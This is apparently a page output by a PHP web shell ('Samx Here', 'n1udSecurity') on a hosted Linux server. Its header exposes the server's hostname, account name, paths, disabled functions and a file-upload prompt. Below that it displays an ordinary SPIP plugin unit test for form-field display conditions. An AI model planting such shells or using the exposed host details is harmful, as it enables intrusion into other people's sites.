Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins/auto/saisies/tests/saisies_afficher_si/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins/auto/saisies/tests/saisies_afficher_si/saisies_tester_condition_afficher_si.php
<?php
/**
 * Test unitaire de la fonction saisies_tester_condition_afficher_si
 * du fichier ../plugins/saisies/inc/saisies_afficher_php.php
 *
 * genere automatiquement par TestBuilder
 * le 2018-12-20 19:31
 */

	$test = 'saisies_tester_condition_afficher_si';
	$remonte = "";
	while (!is_file($remonte."test.inc") and !is_dir($remonte.'ecrire/'))
		$remonte = $remonte."../";
	foreach ([$remonte."test.inc", $remonte."tests/test.inc", $remonte."tests/tests/legacy/test.inc"] as $f) {
		if (is_file($f)){
			require $f;
			break;
		}
	}
	if (!defined('_SPIP_TEST_INC')) {
		die('Impossible de trouver test.inc depuis ' .getcwd());
	}
	find_in_path("inc/saisies_afficher_si_php.php",'',true);

	// chercher la fonction si elle n'existe pas
	if (!function_exists($f='saisies_tester_condition_afficher_si')){
		find_in_path("inc/filtres.php",'',true);
		$f = chercher_filtre($f);
	}

	//
	// hop ! on y va
	//
	$err = tester_fun($f, essais_saisies_tester_condition_afficher_si());

	// si le tableau $err est pas vide ca va pas
	if ($err) {
		die ('<dl>' . join('', $err) . '</dl>');
	}

	echo "OK";


	function essais_saisies_tester_condition_afficher_si(){
		$essais = array (
			"champ_uniquement" => array(
				0 => true,
				1 => "case_1",
				2 => '',
			),
			"chaines_egales_test_egalite" => array (
				0 => true,
				1 => 'a',
				2 => '',
				3 => '==',
				4 => 'a',
			),
			"chaines_inegales_test_egalite" => array (
				0 => false,
				1 => 'a',
				2 => '',
				3 => '!=',
				4 => 'a',
			),
			"chaines_egales_test_inegalite" => array (
				0 => false,
				1 => 'a',
				2 => '',
				3 => '!=',
				4 => 'a',
			),
			"chaines_inegales_test_egalite" => array (
				0 => false,
				1 => 'a',
				2 => '',
				3 => '!=',
				4 => 'a',
			),
			"array_presence_test_double_egal" => array (
				0 => true,
				1 => array("2","3"),
				2 => '',
				3 => '==',
				4 => '2',
			),
			"array_presence_test_double_egal_serialize" => array (
				0 => true,
				1 => serialize(array("2","3")),
				2 => '',
				3 => '==',
				4 => '2',
			),
			"array_presence_test_IN" => array (
				0 => true,
				1 => array("2","3"),
				2 => '',
				3 => 'IN',
				4 => '2',
			),
			"array_presence_test_IN_serialize" => array (
				0 => true,
				1 => serialize(array("2","3")),
				2 => '',
				3 => 'IN',
				4 => '2',
			),
			"array_presence_test_double_egal_faux" => array (
				0 => false,
				1 => array("2","3"),
				2 => '',
				3 => '==',
				4 => '4',
			),
			"array_presence_test_double_egal_faux_serialize" => array (
				0 => false,
				1 => serialize(array("2","3")),
				2 => '',
				3 => '==',
				4 => '4',
			),
			"array_presence_test_IN_faux" => array (
				0 => false,
				1 => array("2","3"),
				2 => '',
				3 => 'IN',
				4 => '4',
			),
			"array_presence_test_IN_faux_serialize" => array (
				0 => false,
				1 => serialize(array("2","3")),
				2 => '',
				3 => 'IN',
				4 => '4',
			),
			"array_absence_test_negation_faux" => array (
				0 => false,
				1 => array("2","3"),
				2 => '',
				3 => '!=',
				4 => '2',
			),
			"array_absence_test_negation_faux_serialize" => array (
				0 => false,
				1 => serialize(array("2","3")),
				2 => '',
				3 => '!=',
				4 => '2',
			),
			"array_absence_test_NOT_IN_faux" => array (
				0 => false,
				1 => array("2","3"),
				2 => '',
				3 => '!IN',
				4 => '2',
			),
			"array_absence_test_NOT_IN_serialize" => array (
				0 => false,
				1 => serialize(array("2","3")),
				2 => '',
				3 => '!IN',
				4 => '2',
			),
			"array_absence_test_neagation" => array (
				0 => true,
				1 => array("2","3"),
				2 => '',
				3 => '!=',
				4 => '4',
			),
			"array_absence_test_negation_serialize" => array (
				0 => true,
				1 => serialize(array("2","3")),
				2 => '',
				3 => '!=',
				4 => '4',
			),
			"array_absence_test_NOT_IN" => array (
				0 => true,
				1 => array("2","3"),
				2 => '',
				3 => '!IN',
				4 => '4',
			),
			"array_presence_test_NOT_IN_serialize" => array (
				0 => true,
				1 => serialize(array("2","3")),
				2 => '',
				3 => '!IN',
				4 => '4',
			),
			"array_presence_IN_multiple" => array(
				0 => true,
				1 => array("2"),
				2 => '',
				3 => "IN",
				4 => "2,3"
			),
			"array_absence_IN_multiple" => array(
				0 => false,
				1 => array("4", "5"),
				2 => '',
				3 => "IN",
				4 => "2,3"
			),
			"array_absence_NOT_IN_multiple" => array(
				0 => true,
				1 => array("4", "5"),
				2 => '',
				3 => "!IN",
				4 => "2,3"
			),
			"array_presence_NOT_IN_multiple" => array(
				0 => false,
				1 => array("2", "1"),
				2 => '',
				3 => "!IN",
				4 => "2,3"
			),
			'string_presence_IN_multiple' => array(
				0 => true,
				1 => 'choix1',
				2 => '',
				3 => 'IN',
				4 => 'choix1,choix2'
			),
			'string_presence_NOT_IN_multiple' => array(
				0 => true,
				1 => 'choix3',
				2 => '',
				3 => '!IN',
				4 => 'choix1,choix2'
			),
			'string_absence_IN_multiple' => array(
				0 => false,
				1 => 'choix3',
				2 => '',
				3 => 'IN',
				4 => 'choix1,choix2'
			),
			'string_absence_NOT_IN_multiple' => array(
				0 => false,
				1 => 'choix2',
				2 => '',
				3 => '!IN',
				4 => 'choix1,choix2'
			)
		);
		return $essais;
	}


?>

SAMX